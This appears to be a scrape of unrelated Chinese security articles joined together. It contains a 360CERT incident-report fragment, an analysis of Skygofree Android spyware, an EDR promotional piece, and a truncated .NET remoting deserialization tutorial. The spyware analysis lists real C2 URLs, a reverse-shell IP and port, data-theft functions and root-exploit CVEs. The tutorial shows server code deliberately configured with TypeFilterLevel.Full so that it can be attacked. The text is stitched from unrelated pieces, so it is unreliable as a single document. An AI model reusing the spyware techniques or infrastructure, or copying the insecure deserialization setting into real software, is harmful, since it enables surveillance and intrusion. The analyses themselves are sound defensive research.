InnerSloth是一款人气颇高的推理推理类社交游戏的开发商，但它不得不在玩家在线比赛期间抵御一场影响其玩家的网络攻击。这一事件始于2020年10月22日，以垃圾邮件的形式轰炸玩家的游戏内聊天。
游戏参与者在聊天时被灌输大量的垃圾信息，包含一个 `ErisLoris` 句柄，促使玩家订阅其 `YouTube`
频道。一些消息甚至威胁玩家，警告玩家除非订阅他们的设备，否则它们将被黑客入侵。
**详情**
[‘Among Us’ players hit by major spam
attack](https://www.welivesecurity.com/2020/10/26/among-us-players-hit-major-spam-attack/)
### Nando的黑客大肆利用客户账户
日期: 2020年10月26日
等级: 中
来源: THREATPOST
标签: Nando, Chicken Dinner, Credential Stuffing Attack, Brute Force
一家颇受欢迎的鸡肉晚餐连锁店的食客们发现，在网络攻击者能够获取他们的餐厅点餐凭证后，他们的银行账户中被抽走了数百美元。但问题是，支付卡信息并没有存储在Nando的账户中，黑客入侵究竟是如何发生的。
Nando的Peri-Peri鸡肉餐厅连锁店在英国和欧洲城市中存在很多店铺，在美国也有数十个地点。它证实了2020年10月23日的凭证填充攻击。
凭证填充是由黑客完成的，他们利用那些经常在多个在线帐户中重复使用相同密码的用户。
这些网络攻击者利用先前数据泄露中窃取的密码和用户名，对账户进行大规模暴力攻击，一旦发现匹配，他们就可以接管受害者的账户。
**详情**
[Nando’s Hackers Feast on Customer Accounts](https://threatpost.com/nandos-hackers-customer-accounts/160527/)
### 特朗普的官方竞选网站遭到黑客的破坏
日期: 2020年10月28日
等级: 中
作者: Chris Williams
标签: Donald Trump, Campaign Website, Vandalized, Uncle Sam, Attack
唐纳德·特朗普(DonaldTrump)的总统竞选网站2020年10月28日晚遭到了短暂的黑客攻击和损毁。 这个名为 `donaldjtrump.com`
的网站被篡改，取而代之的是一条模仿山姆大叔特工们通常宣布的、针对犯罪分子的域名查封。上面和美国政府的封条一起声称，“这个网站被查封了”，因为”世界已经受够了唐纳德·J·特朗普总统每天散播的假新闻“。
**详情**
[Trump’s official campaign website vandalized by hackers who ‘had enough of
the President’s fake
news’](https://www.theregister.com/2020/10/28/trump_website_hacked/)
### Xfinity, McAfee品牌域名被攻击者滥用
日期: 2020年10月29日
等级: 中
作者: Tara Seals
标签: Emotet, Comcast, Domain Parking, Emotet, McAfee
`停驻域名` 可作为别名并重定向到其他网站，可以将访问者重定向到恶意或不需要的登录页面——最近的 `Emotet` 勒索软件运营商的运动，滥用
`Comcast` 和 `McAfee` 品牌的单独行动以及一次以选举为主题的攻击就证明了这一点。
帕洛阿尔托网络公司(PaloAltoNetworks)的研究人员在2020年10月28日的一份分析报告中指出， `domain-parking`
通常发生在为广告服务的领域。如果有人搜索 `BreadDepot` (虚构的例子)，这个人可能会在 `BreadDepot.net` 而不是官方的
`BreadDepot.com` 上搜索，因为它会出现在搜索结果中。如果 `BreadDepot.net`
是一个寄望于人们犯这个错误而创建的域名，它可以将访问者重定向到一个满是广告的页面，以提高印象。
**详情**
[Xfinity, McAfee Brands Abused by Parked Domains in Active
Campaigns](https://threatpost.com/xfinity-mcafee-brands-abused-parked-domains/160698/)
### **相关安全建议**
1. 不轻信网络消息，不浏览不良网站、不随意打开邮件附件，不随意运行可执行程序
2. 积极开展外网渗透测试工作，提前发现系统问题
3. 在网络边界部署安全设备，如防火墙、IDS、邮件网关等
4. 建议加大口令强度，对内部计算机、网络服务、个人账号都使用强口令
5. 减少外网资源和不相关的业务，降低被攻击的风险
6. 条件允许的情况下，设置主机访问白名单
## 0x05 其它事件
### 100多个灌溉系统在没有保护的情况下暴露在网上
日期: 2020年10月27日
等级: 高
来源: SECURITYAFFAIRS
标签: Israeli, Security Joes, Motorola, ICC PRO, Irrigation Systems, Shodan
以色列安全公司SecurityJoes的安全专家发现，运行 `ICCPRO` 的100多个灌溉系统在没有保护的情况下暴露在网上。 `ICCPRO`
是由摩托罗拉公司设计的顶级智能灌溉系统。 ICCPRO系统是使用默认出厂设置进行部署的，这些默认设置没有给默认用户帐户设置密码。
更糟糕的是，专家指出，使用Shodan等物联网搜索引擎来搜索互联网上公开的这些设备非常简单。
一旦攻击者获得了访问设备的权限，它可以从控制面板执行多种操作，包括控制发送到水泵的水的数量和压力，删除用户，或更改设置等。
**详情**
[Over 100 irrigation systems left exposed online without
protection](https://securityaffairs.co/wordpress/110032/iot/irrigation-systems-exposed-online.html)
### 超10万台计算机仍然易受SMBGhost攻击
日期: 2020年11月01日
等级: 高
作者: Pierluigi Paganini
标签: Microsoft, SMBGhost, CVE-2020-0796
在微软发布了严重SMBGhost漏洞的补丁8个月后，超过10万个在线暴露的系统仍然容易受到此攻击。2020年3月，微软已经解决了服务器消息块（SMB）协议中的严重SMBGhost漏洞（CVE-2020-0796）。
远程代码执行漏洞存在于MicrosoftServerMessageBlock3.1.1(SMBv3)协议处理某些请求的方式中。成功利用该漏洞的攻击者可以在目标服务器或客户机上执行代码。
**详情**
[103,000 machines are still vulnerable to SMBGhost
attacks](https://securityaffairs.co/wordpress/110247/hacking/smbghost-vulnerable-machines-dangers.html)
### 研究人员用密码MAGA2020登录特朗普的推特
日期: 2020年10月28日
等级: 中
来源: HACKREAD
标签: Dutch, Victor Gevers, Trump, Twitter, Password
荷兰网络安全研究员维克多·盖弗斯透露，他在猜到美国特朗普的总统账号密码
`MAGA2020`后，成功登录了该账号。MAGA代表“让美国再次伟大”，而这恰好是特朗普总统在他成功的2016年总统大选中使用的竞选口号。
研究人员还透露，特朗普没有对该帐户启用两步验证，这意味着任何可以猜出该密码的人都可以登录该帐户，进行更改并鸣叫他们想要的任何内容。
这个拥有8700万粉丝的推特账户是特朗普总统的个人账户，自2017年1月当选总统以来一直非常活跃。
**详情**
[Researcher logs into Trump’s Twitter with password
MAGA2020](https://www.hackread.com/researcher-logs-trump-twitter-password-maga2020/)
### QNAP警告可能会导致设备被接管的QTS漏洞
日期: 2020年10月28日
等级: 中
作者: Ionut Ilascu
标签: QNAP, QTS, Vulnerability, Command Injection
`QNAP` 2020年10月28日公布了两个影响QTS的漏洞，QTS是支持其网络存储设备的操作系统，可能允许运行任意命令。
这些漏洞可以被远程利用，并且已经在2020年9月8日之前发布的版本中被报告。 `QNAP`
表示，这两个漏洞的编号为CVE-2020-2490和CVE-2020-2492，为命令注入漏洞。
目前 `QTS` 在全球均有分布，具体分布如下图，数据来自于 `360 QUAKE`
**详情**
[QNAP warns of new QTS bugs that allow take over of
devices](https://www.bleepingcomputer.com/news/security/qnap-warns-of-new-qts-bugs-that-allow-take-over-of-devices/)
### NVIDIA修补了高性能服务器中的高危漏洞
日期: 2020年10月29日
等级: 中
作者: Tom Spring
标签: NVIDIA, Vulnerability, AI, Patches
NVIDIA针对其高性能DGX服务器产品线中的高危漏洞发布了补丁，该漏洞可能会为远程攻击者打开大门，使他们可以控制和访问通常由政府和财富100强公司运营的系统上的敏感数据。
NVIDIA共发布了9个补丁，每个补丁都修复了DGX高性能计算（HPC）系统使用的固件中的漏洞，这些漏洞用于处理器密集型人工智能（AI）任务，机器学习和数据建模。所有这些漏洞都与在DGXAMI基板管理控制器（BMC）上运行的自己的固件有关，该固件是远程监控服务服务器背后的大脑。
**详情**
[NVIDIA Patches Critical Bug in High-Performance
Servers](https://threatpost.com/nvidia-critical-bug-hpc/160762/)
### **相关安全建议**
1. 包括浏览器、邮件客户端、vpn、远程桌面等在内的个人应用程序，应及时更新到最新版本
2. 及时对系统及各个服务组件进行版本升级和补丁更新
3. 建议加大口令强度，对内部计算机、网络服务、个人账号都使用强口令
## 0x06 产品侧解决方案
### 360城市级网络安全监测服务
360CERT的安全分析人员利用360安全大脑的QUAKE资产测绘平台(quake.360.cn)，通过资产测绘技术的方式，对该漏洞进行监测。可联系相关产品区域负责人或(quake#360.cn)获取对应产品。
### 360安全分析响应平台
360安全大脑的安全分析响应平台通过网络流量检测、多传感器数据融合关联分析手段，对网络攻击进行实时检测和阻断，请用户联系相关产品区域负责人或(shaoyulong#360.cn)获取对应产品。
### 360安全卫士
针对以上安全事件，360cert建议广大用户使用360安全卫士定期对设备进行安全检测，以做好资产自查以及防护工作。
## 0x07 特制报告下载链接
一直以来，360CERT对全球重要网络安全事件进行快速通报、应急响应。为更好地为政企用户提供最新漏洞以及信息安全事件的安全通告服务，现360CERT正式推出安全通告特制版报告，以便用户做资料留存、传阅研究与查询验证。
用户可直接通过以下链接进行特制报告的下载。
[《安全事件周报 (10.26-11.01)》](http://pub-shbt.s3.360.cn/cert-public-file/%E3%80%90360CERT%E3%80%91%E5%AE%89%E5%85%A8%E4%BA%8B%E4%BB%B6%E5%91%A8%E6%8A%A5_10%E6%9C%8826%E6%97%A5-11%E6%9C%8801%E6%97%A5.pdf)
若有订阅意向与定制需求请发送邮件至 g-cert-report#360.cn ，并附上您的 公司名、姓名、手机号、地区、邮箱地址。
## 0x08 时间线
**2020-11-02** 360CERT发布安全事件周报 | 社区文章 |
作者：启明星辰ADLab
#### 1、概述
近期，启明星辰AdLab追踪到了一款新出现的Android间谍软件，经过深入分析我们发现，其功能的丰富程度不亚于2016年发现的针对iOS平台的“Pegasus”，甚至具有非常大相似之处。与“Pegasus”一样，该间谍软件也是一款功能强大的间谍软件，可实现远程root提升到最高权限，并且实现了Android层的敏感信息窃取如静默拍照录音、窃取通讯录、监听短信电话、位置信息、收集WhatsApp、Skype、Facebook用户信息及聊天数据等等，甚至实现了Linux层面的“反弹Shell”以达到其对目标设备的完全控制。此外，该间谍软件同样也被利用来追踪特定目标人员。
依据样本关联分析，我们发现该Android间谍软件相似样本在1月16日被卡巴斯基所披露，并被其命名为Skygofree，该间谍软件目前主要活跃在意大利的边境上。通过对已有信息和样本的分析，我们还发现与该间谍软件相似的多个历史版本中存在“Negg”公司的签名；并且间谍软件内多个内部组件中也同样出现该公司名称信息及缩写。“Negg”（Negg
International）公司为意大利一家小型软件公司，其网站主页就显示有计算机证据收集的服务，在2015年该公司发布征聘Android与IOS软件工程师时就要求应聘者具备“恶意软件的分析技术”，而正好这一年前后，该类间谍软件最为活跃。该间谍软件与“Negg”公司可能具有非常强的关联关系，并有可能为该公司所开发。据安全研究人员推测，该公司开发该间谍软件用于协助意大利执法部门抓捕犯罪嫌疑人。
目前发现的这款间谍软件其最初版本创建于2014年，到2017年该类样本已经过了3个阶段的演进，从最开始的没有root功能和窃取社交软件数据库功能到最新的从远程服务器下载和释放恶意负载，利用设备漏洞对感染设备进行root。卡巴斯基对该关联样本的root模块和传播方式进行了详细分析，我们的分析重点则放在了该样本Android端的各个服务和控制的逻辑部分。
#### 2、间谍软件行为简介
该间谍软件是目前所见到的Android平台上最为强大的恶意应用之一。其除了窃取受害用户的短信、通讯录、通话记录和浏览历史记录等敏感信息外（其主要恶意行为见图1），还具有以下几个特点：
1. 通过无障碍服务（无障碍服务是辅助身体不便或者操作不灵活的人来操作手机应用的，其可被用于监控手机当前活动APP界面，实现对目标界面自动化操作。）进行录音。为了不被用户发现，间谍软件会在有用到麦克风资源的APP正在运行时停止录音活动。对于Android 4.4W 之前的“HUAWEI”手机，其特别内置了包含“tencent”、“whatsapp”在内的多个频繁使用麦克风的流行应用白名单。
2. 利用Google Firebase 云消息传递服务（Google Firebase 云消息传递服务是Google提供的能帮助开发者快速写出Web端和移动端应用通信的一种服务）对感染设备进行远控。
3. 下载执行反弹Shell。攻击者在躲过普通防火墙的检测并成功拿到反弹Shell后，可以对目标手机进行Linux层面的全面控制。
4. 对感染设备进行定位、强制感染设备连接攻击者所控制的wifi网络，对感染设备进行上网流量嗅探和中间人攻击。
5. 窃取whatsapp、facebook、gmail等社交软件的本地数据库文件。攻击者会利于这些数据对目标人群进行更加细致深入的钓鱼攻击和数据分析，对用户造成严重威胁。
图1 间谍软件的主要恶意行为
#### 3、传播方式
该类间谍软件最早可以追溯到2014年，其主要伪装成
Vodafone（英国电信公司）或其他通信运营商的登录页面进行传播（见表1）。根据数据回溯发现，2015年是该类间谍软件传播最为活跃的一年，并且其传播活动仍在继续。最近观察到的域名登记于2017年10月31日。
表1 该间谍软件的恶意传播页面（数据来源：卡巴斯基）
#### 4、C&C通信方式
在该类间谍软件的最新版本中，其除了使用传统的网络方式进行命令控制和信息回传外，还首次使用了Google
Firebase云消息传递服务来进行控制命令的下发（示意图见图2）。
图2 该间谍软件的通信示意图
##### 4.1 Firebase云消息传递机制利用
Firebase云消息传递（Firebase Cloud
Messaging，简称FCM），也称Firebase云信息传递，前身为Google云消息传递（GCM），是一项针对Android、iOS及网络应用程序的消息与通知的跨平台解决方案，目前可免费使用。开发者只需要在https://firebase.google.com/上，登录自己的Google账户，经过简单的设置操作，便可以将Firebase服务配置到自己的移动APP中。完成移动端的APP设置后，开发者就可以在自己的Firebase网页中选择对应的APP，并在网页上编辑发送自定义的Message。客户端则会以Notifications的方式接收这些Message。
不幸的是，该项技术这次被使用到了间谍软件中。攻击者利用Firebase实时云服务发送恶意命令（分析后的命令和含义列见表2），感染设备端，间谍软件则对恶意命令进行接收和解析执行（图3）。
表2 控制命令和含义
图3 间谍软件对恶意命令的接收和解析
为了确保感染设备能及时收到Google推送信息，方便攻击者进行Firebase云消息远控，攻击者创建了定时任务，每隔1分钟，通知Google保持长连接（见图4）。
图4 创建定时任务，通知Google保持长连接
##### 4.2 以短信方式下达控制指令
间谍软件注册了一个短信广播，用来监听感染设备新收到的短信。一旦发现短信中出现有特定的控制指令，就会执行相应的设置（见图5）。短信控制指令参见如表3。
表3 短信字符串和对应的设置
从表3中我们可以看到，控制指令1是通过http协议来向C&C服务器`“http://url.plus/Updates/agent/commands”`请求和执行命令，命令与Firebase云消息传递所使用的命令相同（见表1）。攻击者在开启感染手机的蜂窝网络（控制指令2）和wifi后（控制指令3），会为感染手机添加和配置其所控制的恶意wifi（控制指令4和图6），最后强制感染手机连接（控制指令5）。该间谍软件可以结合其所获取的位置信息对感染设备进行远程定位追踪，并在目标到达攻击者预期的位置附近，强制感染设备连接由攻击者所控制的wifi网络，进而对嫌疑人的手机进行上网流量嗅探和中间人攻击。由此可见，间谍软件的控制者事先已经知道了目标特定活动区域，并且在这些区域进行一定量的wifi的布置，以期达到进一步攻击的目的。
图5 间谍软件获取、执行控制命令
图6 添加指定wifi，强迫感染设备连接
#### 5、利用无障碍服务进行语音监听
无障碍服务是Android官方推出帮助身体不便或者操作不灵活的人来辅助操作手机应用的，其可以被用于监控手机当前活动APP界面，对界面进行自动化操作。但该服务却被频繁的用于黑色或灰色目的，比如被用于免root自动安装、语音监听、自动抢红包、防卸载、浏览器劫持等技术，当前我们所分析的这款间谍软件同样也是利用无障碍服务的这种特性进行录音监控。
为了达到隐秘录音防止被用户发现的目的，其内置多个白名单，一旦发现当前活跃的APP进程存在于白名单中就会停止录音活动。其中一个白名单主要用于Android
4.4W之前的“HUAWEI”手机，其白名单中主要包含了流行的社交应用及与语音视频有关的系统应用，社交应用有腾讯的QQ和微信、脸书的whatsapp、微软的skype等等（见图7、图8和表4）；对于其他品牌的手机，白名单仅仅包含三款系统APP：“phone”、“dialer”和“sysmanager”。此外，该间谍软件还会监听感染设备的来电状态，当受害用户接起电话时，就开始录音（图9）。
图7 白名单判断机制
图8 内置的录音监听白名单
表4 录音监听白名单
图9 当感染用户接听电话时，开始录音
#### 6、恶意攻击详细分析
##### 6.1 隐藏自身图标，防止受害用户察觉
该间谍软件运行后，不但会将自身图标隐藏掉（图10），而且会激活设备管理员权限（图11）。这样，普通用户很难察觉并卸载掉它，从而达到长期驻留在受害用户设备中的目的。
图10 隐藏自身图标，防止受害用户察觉
图11 请求设备管理员权限
##### 6.2 下载执行反弹Shell以实现完全控制
当收到“reverse”命令时，间谍软件会从远程服务器
`“http://url.plus/Updates/”`下载恶意的zip文件，并在本地解压执行（见图12和图13）。经过分析我们发现，解压后的文件是一个反弹Shell，通过反向连接C&C：54.67.109.199:21070来躲过普通防火墙的检测。当攻击者成功拿到反弹的Shell后，其可以对目标手机进行Linux层面的全面控制，包括上传恶意文件、下载其感兴趣的目录、杀死手机进程、甚至破坏手机系统等恶意行为。
图12 从远程服务器下载恶意zip文件
图13 解压并本地执行恶意文件
另外，我们还在该间谍软件的3.7.3版本的lib路径下发现了适用于多平台的反弹shell库（图14）。
图14 适用于多个平台的反弹Shell
##### 6.3 安装apk文件
如果收到的命令是“install_apk”，间谍软件会从攻击者指定的地址下载apk到感染设备的外部存储器（图15），安装和执行（图16和图17）。并且，间谍软件可以任意打开攻击者指定的APP，对APP进行操作。这一功能可以实现攻击者对其他APP的恶意推广和深度控制。
图15 从攻击者指定的地址下载apk文件到感染设备的外部存储器
图16 安装下载到的apk文件
图17 打开指定APP界面
##### 6.4 回传社交APP数据文件
在收到命令“social”后，间谍软件会收集感染设备上流行社交软件的数据库文件（图18），并在其回传到远程服务器之前对其进行压缩和AES加密，目标社交APP和回传地址参见表5。攻击者得到感染用户的社交APP数据库文件后，会利用解密后的受害用户的登录凭证和社交关系数据进行更加细致深入的钓鱼和攻击，对用户造成严重威胁。
图18 收集感染设备上社交软件的数据库文件
表5 社交APP和对应的上传目录
##### 6.5 回传感染设备硬件信息
命令“info”则表示间谍软件会收集感染设备硬件相关信息（见图19），其将硬件相关信息收集好后，AES加密上传到远程服务器（见图20）。收集到的设备信息如表6所示。
图19 收集感染设备硬件相关信息
图20 AES加密硬件相关信息上传到远程服务器
表6 收集感染设备硬件相关信息
我们注意到，间谍软件上传的设备信息包括感染设备的型号和是否root信息（见图21），根据代码中多处操作需要root权限推测，攻击者会针对未root的感染设备下载对应的root组件，来对感染设备进行root，继而对感染设备实施进一步更高权限的侵害。已发现的漏洞利用负载共有3个文件，文件名分别是“poc”、“db”和“device.db”。其中，“poc”是漏洞利用的ELF文件，“db”是Sqlite3工具，“device.db”是exploit使用的数据库，包含漏洞利用程序支持的机型和对应的漏洞利用内存地址信息。目前发现该负载可利用漏洞有CVE-2013-2094、CVE-2013-2595、CVE-2013-6282、CVE-2014-3153和CVE-2015-3636（来自卡巴斯基）。
图21 判断感染设备是否root
##### 6.6 回传感染设备其他文档
如果是“filelists”命令，间谍软件就窃取感染设备sd卡目录树信息到远程服务器（见图22），当攻击者获取到感染设备的存储文件和安装APP等信息后，就可以远程指定文件名。间谍软件的文档回传服务负责回传攻击者指定的文档（图23）。
图22 窃取感染设备外部存储文件目录树
图23 回传攻击者指定文档
##### 6.7 回传受害用户敏感信息
当收到“registro_chiamate”、“camera”、“history”等命令时，间谍软件会窃取受害用户几乎所有的敏感信息，其中包括受害用户手机上的短信内容、通讯录、通话记录、浏览器上网记录、安装的APP列表等，间谍软件甚至会利用受害用户手机进行拍照，回传照片。首先，间谍软件会将窃取到的目标敏感信息按照自定义的格式保存在自身应用的/cachel2目录下；然后，在利用统一的网络接口发送前进行AES加密并发送；最后，再对之前保存的临时文件进行删除，以防止用户察觉。图24和图25是回传通话记录的代码，其他的窃取目标和临时保存的文件名见表7。
图24 收集受害用户通话记录
图25 回传受害用户通话记录
表7 窃取目标和临时保存的文件名
##### 6.8 回传定位信息
除了窃取受害用户的主要敏感信息，该类间谍软件还会对受害用户进行GSM（移动、联通）或者CDMA（电信）基站定位和GPS定位，再将定位信息回传到远程服务器（见图26和图27），受害用户的整个行为几乎完全掌控在攻击者手中。
图26 回传感染设备基站位置信息
图27 回传感染设备GPS定位信息
#### 7、总结及建议
虽然该间谍软件目前主要针对意大利用户，但也不排除后续针对其他国家实施攻击的可能。用户除了对热门的APP下载和更新不能大意外，对系统自带的APP的更新也应保持警惕。建议用户不要轻易点击短信中的不明链接，不要安装不明来源的APP。对申请可疑权限尤其是短信读写、打电话以及需要激活设备管理器的APP要特别留意，涉及到金钱的操作要格外谨慎。遇到操作异常，应当及时使用杀毒软件查杀或找专人处理。目前，互联网上也充斥着形形色色的第三方APP下载站点，很多甚至成了恶意应用的批发集散地，提醒用户尽量从官网下载所需APP应用，在不得不从第三方站点下载软件时，要高度保持警惕，认真甄别，防止误下恶意应用给自己造成不必要的麻烦和损失。
参考链接： <https://securelist.com/skygofree-following-in-the-footsteps-of-hackingteam/83603/>
* * *
**启明星辰积极防御实验室（ADLab）**
ADLab成立于1999年，是中国安全行业最早成立的攻防技术研究实验室之一，微软MAPP计划核心成员。截止目前，ADLab通过CVE发布Windows、Linux、Unix等操作系统安全或软件漏洞近400个，持续保持国际网络安全领域一流水准。实验室研究方向涵盖操作系统与应用系统安全研究、移动智能终端安全研究、物联网智能设备安全研究、Web安全研究、工控系统安全研究、云安全研究。研究成果应用于产品核心技术研究、国家重点科技项目攻关、专业安全服务等。
* * * | 社区文章 |
# 应急响应不“摇人”，好的EDR做对了哪些事？
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
无论是日常运维还是攻防演练，应急响应一直是考验企业安全运营能力的“试金石”。然而，在办公网安全事件处置响应中，企业安全团队往往会有这样的困惑：
1.难以评估事件严重性——摆在面前的到底是普通病毒，还是高级木马？
2.应急处置难，影响员工工作——安全建设做了不少，真到实战还得靠“摇人”；分析处置时，又长时间占用员工电脑，影响办公，员工白眼我也着急，作为服务人员，我太难了！
3.处置效果难评估——删文件、杀进程，还是不确定是否清除干净；告警分散，日志太低级，分析了一大堆，依旧找不到风险点。攻击，到底从哪进来的？
这些难题并非个案，刚好对应着企业安全运营应急响应的“三步走”。
## 第一步：评估威胁严重性确认影响范围
威胁的严重性决定处置优先级和后续策略：是只需发送告警邮件，还是必须马上断网隔离？是可以明天再处理，还是必须立马联系专家解决？
要做好这一环节，需要搞明白以下三个问题：
1. 搞清楚威胁是什么：通常需要上机调查，翻看系统日志，从告警信息出发，一层一层寻找告警相关的信息。然后将这些信息关联起来，还原攻击过程；
2. 弄明白威胁在做什么：要解答这个问题，需要安全人员具备十分专业的知识和丰富的经验，尤其是面对隐藏能力高的威胁样本时，使用多种工具是常态，甚至还要分析恶意样本代码；
3. 确定威胁影响范围：这要求安全人员对企业资产了如指掌，不仅包括CMDB，还需要掌握一定的攻击面信息，以便在短时间内确定失陷主机的使用者、所属部门等信息。
单纯依靠人力去解决上述问题，几乎是不可能的。
迅捷有效的应急响应往往需要在终端上有EDR，EDR的精准检测能力不仅可让安全人员知道威胁是什么，严重级别多高，攻击者是谁；同时，结合EDR的“摄像头“机制，全面记录终端的行为活动，还能帮助安全人员了解攻击的全过程，以及每个攻击细节；此外，通过轻量的资产盘点可快速定位失陷终端，精确到使用者对应的账户信息等，快速确定影响范围。毕竟领导的机器中招我们可怠慢不得！
利用EDR与资产盘点功能相关联，可以迅速定位失陷主机及使用人
在解决了第一问题之后，安全技术人员的视野大大开阔，对各种“敌情”了如指掌，那么，接下来的就是：
## 第二步：确定响应面进行威胁处置
这一步的作用是确定攻击的完整链路，识别真正的威胁根因，避免无效响应和重复工作，如果条件允许，可引入一定的自动化处置。
同样，在这一环节，也要解决三个问题：
1. 找到病根：通常高度依赖系统日志，甚至在大部分时候，需要与终端的使用员工进行深度交流，才能搞清楚导致威胁的根源：是邮件钓鱼、水坑攻击，还是伪装工具或其他。EDR的存在让事情变得简单，因为EDR记录了全量的行为日志数据，可帮助安全人员简单、快速地追溯威胁根因，溯源出威胁的全路径。而好的EDR甚至可以自动化的定位到根因。
1. 对症下药：这个阶段考验安全运营人员的处置经验，清楚地知道对一个根因要如何处理，是清理注册表项，还是要删除一个文件、一个账号？处置动作通常需要人工手动进行，甚至会长时间占用员工电脑。而基于EDR自动溯源和攻击还原技术，安全人员不需要有高深的从业经验，就可以根据攻击的全过程进行“逆向操作“，从而进行快速处置清理。好的EDR甚至可提供智能的一键处置能力。
2. 疑难杂症：遇到一些高隐藏、高对抗的新型威胁，处置和溯源都费时费力，可能需要引入外援，共同完成。而好的EDR针对顽固病毒木马也能提供易于使用的专杀工具，一键推送，全网清理。
处置了威胁并非“大功告成”，还需要观察一段时间，确保威胁已经彻底清除。这就是：
## 第三步：持续观察确认威胁彻底清除
观察是为了保证处置动作的有效性，避免出现处置不彻底，终端反复被黑客利用的情况。简单来说，就是日志跟踪。
通常情况下，安全人员大多利用系统自带的日志进行跟踪，通过手工检索与人工分析的方式，再结合安全人员的经验来判断威胁是否得以彻底清除，这一过程耗时又耗力，在安全人员数量少、精力有限的情况下，很难实现。而合格的EDR可提供日志调查功能和威胁狩猎能力，让安全人员可以非常直观地跟踪处置后的态势，及时发现未清除干净的残余威胁。 | 社区文章 |
# 简介
.net
remoting是一种在不同进程间传递对象的方式。假如两个不同的进程分别为服务端、客户端，客户端和服务端各自保存相同的一份对象（DLL），那么可以通过.net
remoting技术来远程传递对象。拿java来讲更类似于rmi的概念。
.net
remoting可以使用tcp、http、ipc协议来传输远程对象。本文依赖于[VulnerableDotNetHTTPRemoting](https://github.com/nccgroup/VulnerableDotNetHTTPRemoting)项目。
# 三种协议的不同
三种协议都位于程序集System.Runtime.Remoting.dll，命名空间分别为System.Runtime.Remoting.Channels.Http、System.Runtime.Remoting.Channels.Tcp、System.Runtime.Remoting.Channels.Ipc
其中不同协议用处不同：
1. IpcChannel用于本机之间进程传输，使用ipc协议传输比HTTP、TCP速度要快的多，但是只能在本机传输，不能跨机器，本文不讲。
2. TcpChannel基于tcp传输，将对象进行二进制序列化之后传输二进制数据流，比http传输效率更高。
3. HttpChannel基于http传输，将对象进行soap序列化之后在网络中传输xml，兼容性更强。
# .net remoting demo
先来以HttpChannel为例看一个demo了解.net remoting。需要三个项目，分别是
1. RemoteDemoClient
2. RemoteDemoServer
3. RemoteDemoObject
分别表示 **客户端** 、 **服务端** 和 **要传输的对象** 。
## 传输对象类
RemoteDemoObject.RemoteDemoObjectClass需要继承MarshalByRefObject类才能跨域（AppDomain）远程传输。
using System;
namespace RemoteDemoObject
{
public class RemoteDemoObjectClass : MarshalByRefObject
{
public int count = 0;
public int GetCount()
{
Console.WriteLine("GetCount called.");
return count++;
}
}
}
## 服务端
服务端注册HttpServerChannel并绑定在9999端口，然后`RemotingConfiguration.RegisterWellKnownServiceType`发布uri地址为RemoteDemoObjectClass.rem的远程调用对象，类型是RemoteDemoObjectClass。
using System;
using System.Runtime.Remoting;
using System.Runtime.Remoting.Channels;
using System.Runtime.Remoting.Channels.Http;
using RemoteDemoObject;
namespace RemoteDemoServer
{
class Program
{
static void Main(string[] args)
{
HttpServerChannel httpServerChannel = new HttpServerChannel(9999);
ChannelServices.RegisterChannel(httpServerChannel, false);
RemotingConfiguration.RegisterWellKnownServiceType(typeof(RemoteDemoObjectClass), "RemoteDemoObjectClass.rem", WellKnownObjectMode.Singleton);
Console.WriteLine("server has been start");
Console.ReadKey();
}
}
}
其中WellKnownObjectMode.Singleton是一个枚举，含义如下。
## 客户端
using RemoteDemoObject;
using System;
namespace RemoteDemoClient
{
class Program
{
static void Main(string[] args)
{
string serverAddress = "http://localhost:9999/RemoteDemoObjectClass.rem";
RemoteDemoObjectClass obj1 = (RemoteDemoObjectClass)Activator.GetObject(typeof(RemoteDemoObjectClass), serverAddress);
Console.WriteLine("call GetCount() get return value:{0}",obj1.GetCount());
Console.ReadKey();
}
}
}
客户端通过Activator.GetObject拿到远程对象并返回一个实例。
## 运行效果
PS C:\RemoteDemoClient\bin\Debug> .\RemoteDemoClient.exe
call GetCount() get return value:0
PS C:\RemoteDemoServer\bin\Debug> .\RemoteDemoServer.exe
server has been start
GetCount called.
运行三次Client就返回count为三，并且输出三次`GetCount called.`，Server中的count会自增。
# HttpServerChannel数据包
这边可以通过burp的透明代理功能将client的请求包代理出来。首先修改监听器启用透明代理。
然后修改client的代码将9999端口改为8080
using RemoteDemoObject;
using System;
namespace RemoteDemoClient
{
class Program
{
static void Main(string[] args)
{
string serverAddress = "http://localhost:8080/RemoteDemoObjectClass.rem";
RemoteDemoObjectClass obj1 = (RemoteDemoObjectClass)Activator.GetObject(typeof(RemoteDemoObjectClass), serverAddress);
Console.WriteLine("call GetCount() get return value:{0}",obj1.GetCount());
Console.ReadKey();
}
}
}
再次运行client，抓到请求包
在上图中可见HttpServerChannel采用soap协议传输对象。深究其实现
构造函数中进入`this.SetupChannel()`
然后判断自身_sinkProvider是否为空，如果为空则CreateDefaultServerProviderChain()
这里使用了一个Provider链，从SdlChannelSinkProvider->SoapServerFormatterSinkProvider->BinaryServerFormatterSinkProvider
而TcpServerChannel中，使用的是BinaryServerFormatterSinkProvider->SoapServerFormatterSinkProvider
由此可见http使用soap协议进行序列化，tcp使用binary进行序列化。
# 漏洞产生
在上文中我们提到SoapServerFormatterSinkProvider和BinaryServerFormatterSinkProvider，这两个类都有一个重要的属性
**TypeFilterLevel** ，[根据文档](https://docs.microsoft.com/zh-cn/dotnet/api/system.runtime.serialization.formatters.typefilterlevel?view=net-5.0)可知其是枚举类型。
当其为Full时会反序列化所有类型，low时反序列化基础远程处理功能相关联的类型。而为Full时，会造成漏洞。
# 攻击HttpServerChannel
修改服务端代码
using System;
using System.Collections;
using System.Runtime.Remoting;
using System.Runtime.Remoting.Channels;
using System.Runtime.Remoting.Channels.Http;
using System.Runtime.Serialization.Formatters;
using RemoteDemoObject;
namespace RemoteDemoServer
{
class Program
{
static void Main(string[] args)
{
SoapServerFormatterSinkProvider soapServerFormatterSinkProvider = new SoapServerFormatterSinkProvider()
{
TypeFilterLevel = TypeFilterLevel.Full
};
IDictionary hashtables = new Hashtable();
hashtables["port"] = 9999;
HttpServerChannel httpServerChannel = new HttpServerChannel(hashtables,soapServerFormatterSinkProvider);
ChannelServices.RegisterChannel(httpServerChannel, false);
RemotingConfiguration.RegisterWellKnownServiceType(typeof(RemoteDemoObjectClass), "RemoteDemoObjectClass.rem", WellKnownObjectMode.Singleton);
Console.WriteLine("server has been start");
Console.ReadKey();
}
}
}
在HttpServerChannel中采用两个参数的重载，传入SoapServerFormatterSinkProvider，赋值`TypeFilterLevel
= TypeFilterLevel.Full`。此时将soap请求修改为 **TextFormattingRunProperties** 的payload。
